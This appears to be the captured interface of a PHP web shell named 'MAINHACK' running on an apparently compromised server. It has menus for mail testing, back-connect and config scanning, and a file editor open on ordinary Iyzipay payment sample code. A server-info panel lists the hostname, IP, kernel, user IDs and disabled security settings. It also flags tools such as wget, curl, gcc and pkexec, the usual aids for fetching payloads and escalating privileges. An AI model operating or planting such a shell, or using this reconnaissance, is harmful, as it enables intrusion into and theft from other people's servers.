[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: initialize_apm.php
<?php require_once('config.php'); require_once('signature_verification.php'); # create request class $request = new \Iyzipay\Request\CreateApmInitializeRequest(); $request->setLocale(\Iyzipay\Model\Locale::TR); $request->setConversationId("123456789"); $request->setPrice("1"); $request->setPaidPrice("1.2"); $request->setCurrency(\Iyzipay\Model\Currency::EUR); $request->setCountryCode("DE"); $request->setPaymentChannel(\Iyzipay\Model\PaymentChannel::WEB); $request->setPaymentGroup(\Iyzipay\Model\PaymentGroup::PRODUCT); $request->setAccountHolderName("John Doe"); $request->setMerchantCallbackUrl("https://www.merchant.com/callback"); $request->setMerchantErrorUrl("https://www.merchant.com/error"); $request->setMerchantNotificationUrl("https://www.merchant.com/notification"); $request->setApmType(\Iyzipay\Model\ApmType::SOFORT); $buyer = new \Iyzipay\Model\Buyer(); $buyer->setId("BY789"); $buyer->setName("John"); $buyer->setSurname("Doe"); $buyer->setGsmNumber("905350000000"); $buyer->setEmail("email@email.com"); $buyer->setIdentityNumber("74300864791"); $buyer->setLastLoginDate("2015-10-05 12:43:35"); $buyer->setRegistrationDate("2013-04-21 15:12:09"); $buyer->setRegistrationAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1"); $buyer->setIp("85.34.78.112"); $buyer->setCity("Istanbul"); $buyer->setCountry("Turkey"); $buyer->setZipCode("34732"); $request->setBuyer($buyer); $shippingAddress = new \Iyzipay\Model\Address(); $shippingAddress->setContactName("Jane Doe"); $shippingAddress->setCity("Istanbul"); $shippingAddress->setCountry("Turkey"); $shippingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1"); $shippingAddress->setZipCode("34742"); $request->setShippingAddress($shippingAddress); $billingAddress = new \Iyzipay\Model\Address(); $billingAddress->setContactName("Jane Doe"); $billingAddress->setCity("Istanbul"); $billingAddress->setCountry("Turkey"); $billingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1"); $billingAddress->setZipCode("34742"); $request->setBillingAddress($billingAddress); $basketItems = array(); $firstBasketItem = new \Iyzipay\Model\BasketItem(); $firstBasketItem->setId("BI101"); $firstBasketItem->setName("Binocular"); $firstBasketItem->setCategory1("Collectibles"); $firstBasketItem->setCategory2("Accessories"); $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::PHYSICAL); $firstBasketItem->setPrice("0.3"); $basketItems[0] = $firstBasketItem; $secondBasketItem = new \Iyzipay\Model\BasketItem(); $secondBasketItem->setId("BI102"); $secondBasketItem->setName("Game code"); $secondBasketItem->setCategory1("Game"); $secondBasketItem->setCategory2("Online Game Items"); $secondBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL); $secondBasketItem->setPrice("0.5"); $basketItems[1] = $secondBasketItem; $thirdBasketItem = new \Iyzipay\Model\BasketItem(); $thirdBasketItem->setId("BI103"); $thirdBasketItem->setName("Usb"); $thirdBasketItem->setCategory1("Electronics"); $thirdBasketItem->setCategory2("Usb / Cable"); $thirdBasketItem->setItemType(\Iyzipay\Model\BasketItemType::PHYSICAL); $thirdBasketItem->setPrice("0.2"); $basketItems[2] = $thirdBasketItem; $request->setBasketItems($basketItems); # make request $apmInitialize = \Iyzipay\Model\Apm::create($request, Config::options()); # print result print_r($apmInitialize); #verify signature $paymentId = $apmInitialize->getPaymentId(); $redirectUrl = $apmInitialize->getRedirectUrl(); $signature = $apmInitialize->getSignature(); $calculatedSignature = calculateHmacSHA256Signature(array($paymentId, $redirectUrl)); $verified = $signature == $calculatedSignature; echo "Signature verified: $verified";
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002